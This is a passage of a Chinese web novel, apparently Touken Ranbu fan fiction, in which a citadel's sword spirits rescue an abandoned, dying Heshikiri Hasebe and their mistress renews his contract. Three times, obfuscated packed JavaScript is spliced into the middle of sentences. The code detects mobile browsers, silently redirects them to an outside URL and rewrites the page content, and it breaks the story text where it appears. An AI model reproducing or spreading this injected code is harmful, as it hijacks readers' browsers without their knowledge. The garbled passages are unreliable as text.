话一出口,和泉守兼定自己也愣住了,他想起了刚才的那场恶战。 “我们遭遇的检非违使恐怕正是因为他长时间在此滞留。”一文字则宗站起身,再次环顾这片狼藉的战场和被雨水冲刷的泥泞林地。 “而长谷部殿自身灵力的枯竭一方面可能是因为滞留过久的自然消耗,另一方面或许是为了对抗时间溯行军和检非违使。” 一文字则宗的目光重新落回到那堆物资上面:“这些资源恐怕是他从原本所在的本丸中带出来的,也可能是他为了在此长期坚守、等待什么而准备的补给,但显然,他高估了自己的续航能力,或者说低估了滞留的风险。” “等待?在这种地方等待些什么?”和泉守兼定不理解,他无法想象会有刃主动选择在这种危险的地方长时间停留。 一文字则宗摇摇头,他暂时也没有答案,不过他重新看向昏迷中的压切长谷部的眼神分外复杂:“不管因为什么,他快撑不住了这件事是事实。” “如果放任他在这里不管,他很快就会因为灵力彻底枯竭而被迫回归本体,甚至可能直接回归本灵,而这些物资……” 山姥切国广的目光也不断在物资和濒死的压切长谷部间来回移动,T57本丸现在依旧需要资源,这些高品质的玉刚、砥石、冷却材对他们来说是雪中送炭,但趁人之危、掠夺一个濒死刀剑男士的“遗产”? 这与他们内心深处残存的、属于刀剑付丧神的骄傲和原则相悖。 更重要的是,这振压切长谷部携带如此多资源独自滞留4-3,背后恐怕牵扯着复杂的因果,如果贸然卷进去,很可能会给刚刚稳定下来的T57本丸带来意想不到的麻烦。 雨渐渐小了,林间只剩下水滴从叶片滑落的声响,气氛凝滞而沉重,每个刃都在心中权衡。 最终,山姥切国广深吸一口气,做出了决定:“先救人。” 不管压切长谷部是因为什么到了现在这个地步,见死不救也不是他们的作风。 “国广?”和泉守兼定有些意外,他以为按照山姥切国广务实的性格,会更倾向于先确保物资安全。[1] “他是刀剑男士,是我们的同类。”山姥切国广的声音依旧沉闷,却带着不容置疑的坚定,“在他还有救的时候,不能见死不救,至于这些物资,等他醒了再说。” 堀川国广的动作最快,他从自己内衬撕下还算干净的布条和五虎退一起小心翼翼地扶起昏迷的压切长谷部,将他挪到旁边相对干燥的岩石凹陷处避雨。 山姥切国广则和太郎太刀警戒四周,和泉守兼定则与一文字则宗迅速清点并暂时保管起那些散落的物资——不是为了占有这些物资,而是防止被可能再次出现的敌人或者被意外损毁。 “资源种类齐全、品质统一、保存完好,几乎称得上是一个小型的补给站。”一文字则宗低声总结,合上袋口,用扇尖轻轻点了点其中一个完好的金色刀装,“刀装也是高级货,这绝对不是长谷部殿偶然捡到的,而是他有计划地带出来的。” “他一个人带这么多东西在这种地方待着?!”和泉守兼定依旧觉得这件事情难以置信,眉头紧锁,“就算是为了等什么,也太……” “也太不惜命了。”五虎退小声接话,他已经帮助堀川国广固定好压切长谷部的手臂,此刻正担忧的看着对方苍白如纸的脸庞,“而且,我能感到他现在好像很难过。” 小短刀敏锐的感知到了昏迷中的压切长谷部眉宇间即使因为失去意识也未曾完全散去的、深重的郁结与某种近乎绝望的执拗。 就在此时,那振压切长谷部紧闭的眼睫颤动了几下,发出一声几不可闻的呻吟,众刃立刻绷紧了神经,山姥切国广上前一步,本体刀虽然尚未出鞘,但手已按在刀柄上。 压切长谷部艰难地掀开眼帘,紫灰色的双眼中最初是一片涣散的茫然,随即迅速聚焦,警惕与戒备同时升起,试图动一下却发现自己现在浑身乏力,灵力如同被彻底抽干的深井,连维持意识的清明都十分勉强。 当压切长谷部的线扫过围在身边的陌生刀剑,落在他们破损的衣装、尚未处理的伤口以及那些被小心放在一旁、属于他自己的物资袋上时,他眼中闪过一丝了然。 “你们是哪个本丸的?”压切长谷部的声音沙哑干涩,如同被砂纸摩擦过一般,他并没有问“你们想干什么”,仿佛对自己的处境早就有所预料。 “我们是T57本丸的出阵队伍。”山姥切国广言简意赅,兜帽下的目光审视着他,“你是压切长谷部?怎么会独自滞留在这里,身边还带着这么多物资?” 在听到“T57”这个编号时,压切长谷部的瞳孔几不可查地收缩了一下,那并非恐惧,而是一种复杂的、掺杂着回忆与决断的情绪,他闭了闭眼,再睁开时里面只剩下一片近乎冷漠的平静。 “T57本丸,那个中转本丸啊。”压切长谷部喃喃自语,像是在确认些什么,“难怪看起来很需要资源。” 他没有直接回答山姥切国广的问题,反而挣扎着用尽全身力气一般抬起一只手指向那些物资:“那些物资,你们拿走吧,玉刚、砥石、冷却材,还有刀装,品质都挺不错的,应该能帮上你们的忙。” 压切长谷部的语气平淡的像是在处理一些无关紧要的杂物,而非是足以支撑一个本丸一段时间运转的珍贵补给。 “什么意思?”和泉守兼定忍不住问道,“你把这些给我们?那你怎么办?” 压切长谷部扯了扯嘴角,那几乎算不上是一个笑容,充满了自嘲与疲惫:“我?我用不着了。我本来就是想着随便找一个地方等待灵力耗尽,就此回归本灵就可以了。” 他的话让周围的气氛骤然一凝。压切长谷部主动求死?为了什么? “我的前主是时政的工作人员。”压切长谷部似乎并不打算隐瞒,或者说,他觉得对着这群即将“接收”他遗产的、同样挣扎的刀剑没什么隐瞒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16962208|189989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的必要。 “他是个狂热到盲目的家伙,眼里只有他幻想中的‘信长公’,无法忍受我——这振因信长公的命令而诞生的刀——对他那套崇拜有任何微词,并且认为我是信长公的污点。”他顿了顿,呼吸有些急促。[2] “他觉得我玷污了他的信仰,所以打算‘处理’掉我。” “你跟我们回去。”山姥切国广忽然开口,声音斩钉截铁,没有商量余地。 压切长谷部愣了一下,随即摇头,态度坚决:“不,T57的情况我知道一些,多一振无主的刀,就多一份负担。这些资源给你们是我自愿的,但我不能再去拖累一个本就艰难的本丸,让我留在这里。” “你现在这样,离开我们立刻就会消散。”山姥切国广指出事实,语气温和却不容置疑,“而且,你口中的‘负担’对我们主上来说,未必如此。” 他想起了源朝曦分发御守时平静的神情以及那句“我的身体,我自有分寸”,也许这位神秘的主君真的有容纳意外之客的余力? “主上自有决断。”一文字则宗重复了类似的意思,他看着压切长谷部,“但前提是你得活着见到主上,你现在是我们的‘战利品’了。” 他用了略带强硬的词,但眼中并无掠夺的意味,只有不容拒绝的坚持。 “没错。”和泉守兼定抱起胳膊,虽然还是一脸不耐,但话语却站在了一文字则宗一边,“如果就这么让你消散,这些资源我们拿着也不安心。” “好歹跟我们回去,是去是留,让主上定夺。要是主上看不上你,你再走也不迟——当然,到时候你能不能走掉就另说了。”他故意说得蛮横,却巧妙地给了长谷部一个台阶。 压切长谷部看着他们,这群陌生又熟悉的刀剑——他们伤痕累累,却眼神明亮;他们资源匮乏,却拒绝趁人之危;他们自身难保,却坚持要带他走,T57本丸和他想象中那个冰冷的中转站似乎不太一样,而且他们现在还有了一个新的审神者。 内心的骄傲和长久以来的绝望在拉扯,他不想成为累赘,尤其是一个看起来正在努力向上攀爬的本丸的累赘,但那一丝丝对于“可能被需要”、“可能还有地方可去”的微弱渴望,在濒死的冰冷中如同最后一点火星正在顽强地闪烁着。 就在他嘴唇微动,似乎还想说什么的时候,一直安静旁观的堀川国广忽然动了,他身形如电,迅捷地绕到长谷部侧后方,在他颈侧某处不轻不重地一击。 “抱……”压切长谷部眼中最后的惊愕和未尽的话语凝固,头一歪,彻底失去了意识。 “这样比较快。”堀川国广收回手,对上山姥切国广和其他刃投来的目光,解释道,“再争论下去,他的灵力真要撑不住了。” “而且我觉得主上会想见他的。”他看向那些物资,又看看昏迷的长谷部,“他身上有故事,也许也有我们需要的东西。” 不是指物资,而是别的,某种坚韧或者某种共鸣。 山姥切国广沉默地看了自己兄弟一眼,最终点点头:“收拾东西,带上他,立即返程。” 太郎太刀默默上前,小心地将昏迷的压切长谷部背起,和泉守兼定与堀川国广迅速将那些珍贵的物资袋重新整理捆扎,扛在肩上。 五虎退和他的小老虎们在前方警惕探路,一文字则宗收起太刀,再次变回那副摇扇从容的模样,只是眼底深处多了几分思量。 山姥切国广最后看了一眼这片狼藉的战场,雨已停歇,林间弥漫着潮湿的泥土气息和淡淡的血腥味,检非违使的危机暂时解除,他们却意外“捡”回了一个大麻烦,或者说,一个可能的机会。 “走。” 时空转换器的光芒再次亮起,将这支满载而归——不仅带回了计划外的玉钢和砥石,更带回了一振濒死刀剑与沉重过往——的队伍笼罩。 远处,万叶樱的轮廓在本丸的暮色中隐约可见,天守阁的灯火依旧安静地亮着。 28.第二十八章 时空转换器的光芒在T57本丸的庭院中缓缓消散,雨水的潮湿气息与战场中残留的血腥味尚未散尽,归来的队伍就已经踏在本丸熟悉的土地上。 当闻讯赶来的药研藤四郎和其他留守刀剑们看到此次出阵队伍中每个刃都带着伤、刀装全毁,太郎太刀背上背着个昏迷不醒的陌生刀剑男士,而和泉守兼定和堀川国广肩上扛着数个鼓鼓囊囊的布袋时,所有刃的脸色都变了。 “这是?”药研藤四郎推推眼镜,镜片后的目光锐利如刀,第一时间快步上前,不是查看那些物资,而是迅速扫过归来的每一个同伴,判断他们当下的状态。 “在4-3意外遇见了检非,等级和则宗殿的练度匹配。”山姥切国广言简意赅,在战斗中滑落的兜帽不知道在什么时候又被他带了回去。 虽然山姥切国广声音平稳,但药研藤四郎依旧敏锐地捕捉到山姥切国广按在腰间本体刀上的手此刻正在微微颤抖——那是经历过连续高强度战斗后的肌肉反应,而他腰间那枚源朝曦赠与的御守边缘已经出现了明显的裂痕。 “全员受伤、刀装全损,但幸而无刃重伤。”一文字则宗适时补充道,他手中的折扇此时已然收起,尽管白西装上溅满了泥点与暗色的痕迹,但他的姿态依旧从容,“多亏主上所赐御守,否则结果难料。” 此话一出,留守刀剑们的目光齐齐落到了归来队伍每个刃身上佩戴的御守上。 太郎太刀的御守几乎完全碎裂,只剩下几片残破的织物勉强能让人看出最初的形状;山姥切国广与堀川国广的御守同样损坏严重;和泉守兼定的御守上不满裂痕,灵力波动微弱;就连一文字则宗和五虎退的御守光泽也黯淡了许多。 这些御守才分发下去不过几日,竟然已经损耗到了如此地步,可想而知那场与检非违使战斗的凶险程度。 药研藤四郎的眉头紧蹙,但此刻并不适合追问细节:“受伤的立刻去手入室,清光、骨喰尼,帮忙准备热水和干净的布!前田、平野,去仓库取伤药和绷带!” 加州清光应了一声,却又想起自己刚涂了不久的崭新红色指甲油的手,下意识想要将其藏起来——那瓶来自其他本丸髭切的馈赠已经被他精心使用,此刻在昏暗的暮色中依旧十分鲜艳,但显然现在并不是在意这个的时候。 骨喰藤四郎沉默地点点头,转身快步离去。 手入室中很快便充满了热水蒸腾出的白雾、伤药清苦的气味以及偶尔压抑不住的抽气声。 药研藤四郎手法利落的为太郎太刀腰侧的伤口清创、上药、包扎,镜片后的目光专注而冷静;太郎太刀则沉默地端坐着,任由药研处理,只有额角渗出的细密汗珠暴露了疼痛的存在。 “伤口不算很深,但需要静养几日。”药研藤四郎简短的说,手上将绷带打结的动作不停,“大将的御守屏障抵消了大部分伤害,否则这个位置很危险。” “多谢。” 另一边,堀川国广手臂上的刀伤也在接受处理,加州清光小心地用温水为他清理伤口周围的污迹,动作轻柔得与平日里的他判若两人。 “卡内桑的伤口呢?”堀川国广没顾上自己,先扭头看向坐在旁边的和泉守兼定。 “我没事,就是擦破点儿皮。”和泉守兼定挥挥手,但袖子上的裂口和渗出的血迹显然不只是他口中的“擦破点儿皮”这么简单。 此刻骨喰藤四郎正在为他处理着手臂上的一道伤口,但和泉守兼定不知道是因为疼痛还是别的什么眉头紧锁。 五虎退抱着小老虎坐在角落里,虽然他没有重伤,但脸上、身上也有不少细小划痕与擦伤,小老虎们也有些蔫蔫的,之前与检非违使的战斗对它们来说还是太艰难了。 前田藤四郎正站在他的身边,与平野藤四郎一起检查小老虎们的状况,作为不会说话的毛孩子和五虎退的伴生兽,它们的身体健康也是十分重要的。 山姥切国广站在门口,背对着室内,兜帽拉得很低,似乎不愿让人看见他此刻的表情,他的手臂依旧在微微颤抖,但他拒绝了药研先为他处理的建议,坚持让受伤更重的同伴先来。 一文字则宗靠在墙边,白西装上的污迹在昏黄的灯光下格外显眼,他手中的折扇已经收起,目光扫过室内忙碌的景象,最后落在被安置在房间另一侧、昏迷不醒的压切长谷部身上。 药研为太郎太刀处理完伤口后,立刻走向压切长谷部,他蹲下身,动作专业地检查对方的生命体征:脉搏微弱但尚存,呼吸浅而急促,体温偏低,灵力波动几乎探测不到——典型的灵力严重透支症状。 仔细检查压切长谷部状况的药研藤四郎眉头越皱越紧,他尝试在之间凝聚起微弱的灵力探入对方的身体,却如同泥牛入海,几乎得不到任何回应。 “灵力透支严重,接近枯竭点,身体机能也被过度损耗,有轻微内出血迹象……”药研藤四郎低声而又快速的报出自己的诊断结果,声音中带着罕见的凝重。 “而且,现在看来长谷部殿的契约是被强行切断的,体内残留的灵力反噬痕迹很重,他能够撑到现在还没回归本体或者是本灵,已经是意志力惊人了。” “还能救吗?”山姥切国广不知道何时已经转过身,兜帽下的目光落在压切长谷部苍白如纸的脸上。 “本丸现有的医疗资源处理常规的伤势没有问题,但他这种情况使用常规的医疗手段只能维持他的生理机能,减缓消散的速度,但无法逆转灵力枯竭的进程。” “本质上,他现在的情况类似一个破损的水桶,我们在做的只能是尽量堵住几个大洞,减缓水流干的速度,但如果没有新的、持续的活水注入,水终会流干。” “就没有别的办法了吗?”堀川国广忍不住问,虽然他们与压切长谷部只是初见,但对方那种近乎自毁的决绝和最后的馈赠,让他无法对这位陌生同僚的消散坐视不管,而其他刃的心情想必此时与他是一样的。 药研藤四郎摇摇头:“除非有新的、高浓度的灵力直接注入,修补他受损的契约和核心,但这需要极其强大的灵力和精密的操控,而且这几乎相当于重新签订契约,不是简单的治疗。” 药研藤四郎话里的含义让所有刃心中一凛。 重新签订契约?那意味着什么? 意味着他们带回的不仅仅是一振濒死的刀,更是一个可能改变本丸现有平衡的、沉重的选择。 山姥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16967509|189989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 切国广的兜帽微微动了一下,他的视线落在昏迷的压切长谷部脸上,又缓缓移向那些被整齐码放在墙角的物资袋。 高品质的玉钢在昏黄灯光下泛着冷硬的光泽,那些金色的刀装更是无声诉说着长谷部前本丸曾经的富足与他逃离时的决绝。 手入室陷入了短暂的寂静,只有热水注入木盆中的轻微响动、绷带被撕开的窸窣声以及窗外越发深沉的暮色在蔓延。 每一振刀剑的目光都不由自主地、或明或暗地投向那个昏迷不醒的付丧神,又最终汇聚到门口那道沉默伫立的白色身影及墙边那抹即使染尘也依旧从容的雪白西装上。 “所以,我们现在是要决定要不要让阿鲁金‘收养’这振来历不明、还带着一身麻烦的压切长谷部?”最终还是和泉守兼定打破了沉默。 虽然和泉守兼定口中的“收养”这个词有些生硬,但在此时的情况中却无比贴切。 他们一行刃出阵带回物资是一回事,带回一振需要重新缔结契约才能活下去的刀是另一回事。 这意味着资源和人力的额外消耗,意味着本丸内部可能出现的新的未知变数,更意味着他们的主上需要为此支付代价——很可能不仅仅是现在对他们来说依旧十分珍贵的灵力。 “但他把自己所有的物资都给我们了。”堀川国广看向墙角那些袋子的眼神复杂,“在明知道我们有可能只会拿走东西、放任他消散的情况下,他说‘我用不着了’。” “愚蠢的慷慨。”和泉守兼定哼了一声,但语气中并没有多少真正的责备,反而还有种物伤其类的烦躁。 “可这也不能改变他是被前主遗弃的刀,契约反噬严重,救起来恐怕比养一振新刀还费劲,而且他的前主是时政的人……”和泉守兼定瞥了一眼一文字则宗,未尽之意很明显——这可能会带来额外的监管风险。 而一文字则宗手中则摇着不知何时又打开的折扇,脸上是惯有的、让人捉摸不透的微笑:“老头子则以为现在的问题或许不在于‘要不要救’,而在于‘主上会如何决断’。” 他合拢扇子,轻轻点了点天守阁的方向:“诸君是否留意到,自我们归来,天守阁的灯火便未曾稍熄?” 众刃一怔,下意识地望向庭院尽头那座安静的建筑,确实,那盏常在深夜熄灭、只留一线微光的窗户此刻正透出稳定而温润的光晕,在这片逐渐被夜色笼罩的庭院中如同一盏明确的灯塔。 “阿鲁金已经知道了?”五虎退抱紧小老虎小声问。 “本丸的一草一木、灵力每一点波动恐怕都逃不过主上的感知。”一文字则宗缓缓说,目光扫过众刃身上破损的御守,“尤其是这些御守的剧烈损耗以及一振全新且濒临消散的强大灵力个体突然出现在本丸范围内。” “主上未曾召唤我等,也未曾出声询问,但这灯火便是态度。” 山姥切国广兜帽下的嘴唇抿成一条直线,他明白一文字则宗的意思,源朝曦并非对外界漠不关心,相反,她总是以另一种更深沉、更全面的方式关注着本丸。 她的沉默或许是在等待他们的汇报,或许是在观察他们如何处理这突如其来的“意外”,但也或许她早就已经有了决断。 29.第二十九章 手入室内的空气短暂凝滞了一瞬间,所有刃都下意识地望向天守阁那扇透出暖光的窗户,那束光亮平静而恒定,没有任何催促的意味,却像一只沉默注视着他们的眼睛,将他们此刻的犹豫、抉择尽收眼底。 “而且,长谷部殿携带的这些物资品质之高、数量之规整绝非寻常途径可得。”一文字则宗话锋一转,目光落在昏迷的压切长谷部脸上,又看向角落处的那些物资,“他的前主是时政内部工作人员,这意味着什么,诸君应当明白。” “意味着这些资源的来源可能比我们想象中的更加‘正规’,也意味着长谷部殿的处境可能会更危险——时政不会喜欢自己的‘财产’被私自带走,哪怕是被遗弃的刀剑。”药研藤四郎推推眼镜,接口道。 “那我们就更不应该卷进去!”和泉守兼定几乎是脱口而出,但说完后自己却先愣住了。 他看着昏迷的压切长谷部,又看看身边伤痕累累的伙伴,烦躁的抓抓头发:“啧,我不是那个意思,但我们现在好不容易才稳定一点儿,如果因为收留他而引来时政的注意……” “我们都知道卡内桑的意思,我也赞同卡内桑的说法。”堀川国广一边为和泉守兼定梳理他刚刚弄乱的头发,一边轻声说,但视线也会时不时落在压切长谷部身上,“但我们也不能就这么看着他消散,至少,至少应该让阿鲁金知道这件事,由阿鲁金来决定。” 这几乎是所有刃心中共同的矛盾——理智告诉他们不应该招惹麻烦,但作为刀剑付丧神的本能以及某种更深层次的、在漫长的艰难岁月中磨砺出的同理心让他们无法对同类的濒死视而不见。 更何况,在压切长谷部明知自己被抛弃的情况下,他依旧选择将所有的物资赠与他们,这份决绝中的某种东西触动了在场每一个刃内心深处相似的记忆。 “无论如何,刃是我们要带回来了。”山姥切国广低沉的声音再次响起,“不管他给不给物资,我们都会带他回来,现在,我们只需要将情况如实禀告阿鲁金,具体如何处置,由阿鲁金来决定。” “在得到阿鲁金明确的指令前,尽我们所能维持他的现状。”山姥切国广顿了顿补充道,这是他们的责任,也是他们的底线。 山姥切国广的话为这场突如其来的意外定下了基调——他们已经将刃带回,剩下的事情便是将这份沉重的“战利品”连同其背后复杂的因果一并呈给本丸唯一的主宰者裁决。 “我先去天守阁向阿鲁金禀报。”山姥切国广拉进兜帽,动作间牵动了手臂的伤口,他眉头微蹙却脚步不停,“其他人处理完伤口后先去休息,今天的出阵报告明天再整理。” “好。””药研藤四郎重新将注意力集中到昏迷的压切长谷部身上,指尖再次凝聚起微弱的灵力,尝试以更精细的方式疏导对方体内近乎凝固的灵力流——即便不能逆转枯竭,至少能延缓消散的速度。 一文字则宗摇晃着扇子,目光在昏迷的压切长谷部和山姥切国广离去的背影间逡巡片刻,最终停留在那些物资袋上:“我去将这些物资清点后入库登记,毕竟是长谷部殿的‘赠礼’,无论主上最终如何决断,账目都要分明。” “我来帮忙。”加州清光为和泉守兼定包扎完最后一处伤口,站起身说。 “我也能……”但和泉守兼定的话还未说完就被药研藤四郎打断。 “伤口需要静养,再勉强活动会影响愈合。”药研藤四郎的语气不容置疑,“今日的战斗强度元超预期,请务必听从医嘱。堀川殿,在将和泉守殿送回去后也请早点儿休息。” 和泉守兼定撇撇嘴,最后还是没再反驳,在堀川国广的搀扶下起身离开,只是临走前又眼神复杂的回头看了一眼昏迷的压切长谷部。 五虎退抱着小老虎,犹豫地看了看药研藤四郎,小声问:“药研尼,我可以留下来帮忙吗?我的伤不重。” “去帮前田和平野准备些温水,等会儿可能需要。”药研藤四郎没有拒绝,温和地补充,“小心别碰到伤口。” “嗯!”五虎退用力点头,抱着小老虎小跑着出去了。 手入室渐渐安静下来,只剩下药研藤四郎有条不紊的医疗操作声以及烛火偶尔的噼啪声。 山姥切国广穿过安静的庭院走向天守阁,暮色四合,万叶樱的轮廓在渐暗的天光中沉默伫立,几粒花苞在枝头若隐若现。 他手臂的伤口在行走时传来阵阵隐痛,腰间的御守随着步伐轻轻晃动,裂痕边缘微微翘起,无声诉说着不久前那场恶战的激烈。 山姥切国广停在天守阁的门前,深吸一口气,将因疼痛而略显紊乱的呼吸平复,这才抬手轻叩门扉。 “进来。”门内传来源朝曦的声音,平稳温和,听不出任何的情绪波动。 山姥切国广推门而入,室内烛火通明,源朝曦依旧坐在她惯常的位置上,宵雾盘在她身侧的矮几上,金色的竖瞳在山姥切国广进入的瞬间转向他,冰冷的目光扫过他破损的衣装和腰间的御守,随即又懒洋洋地合上。 “阿鲁金,今日出阵4-3不幸遭遇高强度检非违使,导致全员负伤,刀装全毁,幸赖您所赐御守,无人重伤。”山姥切国广跪坐在源朝曦面前,兜帽的阴影遮住了他大半张脸,只露出紧抿的唇线。 他言简意赅地汇报了战斗结果,略去了过程的凶险,但身上尚未完全散去的肃杀之气和御守的破损已说明一切。 源朝曦静静听着,没有打断,她指尖轻轻拂过宵雾冰凉的鳞片,灰蓝色的眼眸落在山姥切国广身上,那目光似乎能穿透兜帽,看清他此刻的疲惫与紧绷。 “然后,我们在清理战场时发现了一振濒临消散的刀剑男士,是压切长谷部。”山姥切国广继续说,“他被前主遗弃,契约被强行切断,携带大量资源滞留4-3区域,灵力严重透支,我们将他带了回来。” “他意识尚存时表示愿将所携物资全部赠与T57,只求我们不必管他,但我们无法见死不救。”山姥切国广顿了顿,似乎在斟酌措辞。 “目前他被我们安置在手入室,药研正在尽力维持其现状,但其伤势根源在于契约反噬与灵力枯竭,常规手段仅能延缓,无法逆转。” 山姥切国广抬起头,兜帽下的目光带着一种近乎执拗的坦率投向源朝曦:“带回他可能会给本丸带来未知的麻烦,毕竟他的前主是时政工作人员,那些物资来源也可能存在隐患,但属下认为应当将此事与抉择呈报于您。” 室内安静了片刻,只有烛火轻微摇曳的声响,宵雾的尾巴尖无意识地拍打着矮几边缘,发出极轻的嗒嗒声。 源朝曦的视线从山姥切国广身上移开,投向窗外逐渐沉入黑暗的庭院,仿佛能穿透墙壁,看到手入室内那振昏迷的付丧神以及围绕在他身边、心情复杂的刀剑们。 源朝曦的目光落回山姥切国广身上,那双灰蓝色的眼眸在烛光下显得幽深难测。 “压切长谷部啊……”她轻声重复着这个名字,指尖无意识地划过宵雾的鳞片,引来它不满的嘶声。 某种遥远的、几乎被时间淹没的记忆碎片在源朝曦脑海中一闪而过——织田信长,那个在她作为“浅井茶茶”短暂一生中从未谋面却如雷贯名的“舅舅”,那把被赠予黑田家的、名为“压切”的刀。 “他的本体呢?” “在他身侧,我们一并将其带回,药研检查过,本体无伤,但对于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16972915|189989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灵力基本没有反应。” 源朝曦缓缓站起身,宵雾也随之游动,缠绕上她的手臂,如同一个冰冷的臂钏,她的动作依旧带着一种久病之人的迟缓,但脊背挺直,步履平稳,“带我去看看。” 山姥切国广微微一怔,随即应道:“是。” 他起身引路,心中却翻涌着复杂的情绪,这是源朝曦来到T57本丸后第一次主动离开天守阁,前往手入室——一个刀剑付丧神“治疗”的场所,这个举动本身似乎已经暗示了她的某种倾向。 手入室的门半掩着,暖黄的光晕和清苦的药味一同流淌出来。 药研藤四郎正将最后一截绷带打结,听见脚步声抬起头,镜片后的目光在触及源朝曦身影时闪过一丝讶异,他迅速起身,让开位置:“大将。” 室内其他刃——带着堀川国广偷溜回来的和泉守兼定、五虎退以及角落里安静擦拭本体的骨喰藤四郎——也纷纷停下动作,目光聚焦于这位极少踏出天守阁的主君身上。 源朝曦的视线掠过他们疲惫却强撑精神的脸庞,掠过他们身上尚未完全处理的擦伤与破损的御守,最终落在那张临时铺开的褥垫上。 压切长谷部此时正静静躺在那里,紫灰色的短发被冷汗浸湿,贴在毫无血色的额角,呼吸微弱得几乎看不见胸膛起伏,他的本体刀被端正地放置在身侧,刀鞘黯淡,灵力波动近乎于无。 宵雾从她手臂上滑下,盘踞在矮桌边缘,金色的竖瞳冷冷地审视着昏迷的付丧神。 源朝曦缓步上前,在褥垫边跪坐下来,她没有立刻动作,只是垂眸静静注视着长谷部苍白的面容,灰蓝色的眼眸深处似有极淡的、遥远的光影掠过。 许久后,她伸出右手,指尖并未直接触碰长谷部的身体,而是悬停在他心口上方寸许。 一丝极细微、却纯粹到令人心悸的暗金色灵光自她指尖渗出,并非汹涌澎湃,而是如同涓涓细流,缓慢而稳定地没入长谷部心口,那灵光中仿佛流转着极其古老的纹路,隐隐有鸦羽的虚影与蛇行的轨迹一闪而逝。 手入室内落针可闻,所有刃都屏住了呼吸,看着那微弱却坚韧的灵光持续注入。 药研藤四郎的眉头紧紧锁着,他最能直观感受到源朝曦此刻输出的灵力是何等精纯与凝练,远超常规审神者的范畴,但这过程也必然伴随着巨大的消耗。 压切长谷部毫无血色的唇微微动了一下,眉心无意识地蹙起,仿佛在承受某种内在的冲击,他周身那即将彻底熄灭的灵力微光如同被投入火星的余烬,开始极其缓慢地、不稳定地重新亮起一丝微芒。 源朝曦的脸色在烛光下似乎更白了一分,但她的呼吸依旧平稳,悬停的手指没有丝毫颤抖,宵雾的尾巴尖轻轻拍打着桌面,频率带着某种难以言喻的焦躁。 随着灵力持续注入,长谷部身侧那振黯淡无光的本体刀忽然极轻地震颤了一下,刀镡处闪过一丝微弱的光。 契约反噬造成的、盘踞在他灵力核心处的那些混乱与裂痕正在被这股温和却不容抗拒的外力一点点梳理、弥合,这不仅仅是治疗,更是在废墟之上,重新奠定基石。 源朝曦的目光落在长谷部紧蹙的眉心上,仿佛透过他看到了另一个时空烽火,看到了某个她未曾谋面、却血脉相连的“舅舅”以及那把辗转于历史洪流中的名刀。 她的声音很轻,几乎融入了烛火的噼啪声里,却清晰地传入在场每一个刃的耳中。 “织田信长黑粉?”她低语,带着一丝极淡的、近乎叹息的玩味,“倒是挺有意思的。” 灵力持续流淌,缔结契约的仪式悄然开始,新的纽带正于这间弥漫着药味与血气的简陋手入室中无声孕育。 30.第三十章 夜色渐深,T57本丸重归寂静,只有手入室的灯火亮了一整夜。 翌日清晨,当第一缕天光透过窗棂洒入手入室时,躺在褥垫上的压切长谷部眼睫剧烈颤动了几下,猛地睁开了眼睛。 在压切长谷部睁开眼的那一刻,他的意识还停留在4-3那片阴冷的雨林中,他还记得自己靠着岩石,灵力如同漏水的皮囊般缓慢消散,记得那些被他当做临终赠礼的物资袋,记得那群伤痕累累却执意要带他离开的陌生刀剑,而后便是一片黑暗。 可现在出现在他面前的是陌生的木制天花板,空气中弥漫着清苦的药草气味,身下是柔软干燥的褥垫,他还存在,没有消散,没有按照他预想的那般回归本灵。 这个认知让压切长谷部猛地撑起身体,这个动作牵动了他全身的酸痛,让他闷哼一声,眼前发黑。 “醒了?”一个冷静的声音从旁边传来。 压切长谷部循声望去,便发现一振戴着眼镜的短刀正坐在不远处的矮桌旁,手中整理着某种草药,他从对方的装束上认出了对方——药研藤四郎,但他确信,自己从未见过这振药研藤四郎的分灵。 “你是?”压切长谷部的声音沙哑得厉害,他清了清嗓子,警惕地环顾四周。 这是一间简朴却整洁的房间,不远处的几个手入池让他意识到这应该是手入室,窗外的晨光透过纸拉门在地板上投下柔和的光斑,他的本体刀被端正地放置在枕边,刀鞘被擦拭得干干净净。 “药研藤四郎,T57本丸的成员之一。”药研放下手中的草药,站起身走到长谷部身边,动作专业地检查他的瞳孔反应和脉搏,“你现在的感觉怎么样?” 压切长谷部的喉咙干涩得发紧,他本能地想抓住枕边的本体刀,手指却颤抖得使不上力,见状,药研藤四郎转身从旁边矮桌上取来一杯温水,递到他唇边。 “慢慢喝。” 压切长谷部就着药研藤四郎的手喝了几口,温水滑过干裂的嘴唇和灼痛的喉咙,为他带来些许清明。 他现在确实是在手入室,身边没有其他刀剑,只有这振药研藤四郎的分灵,还有窗外透进来的、属于清晨的柔和天光。 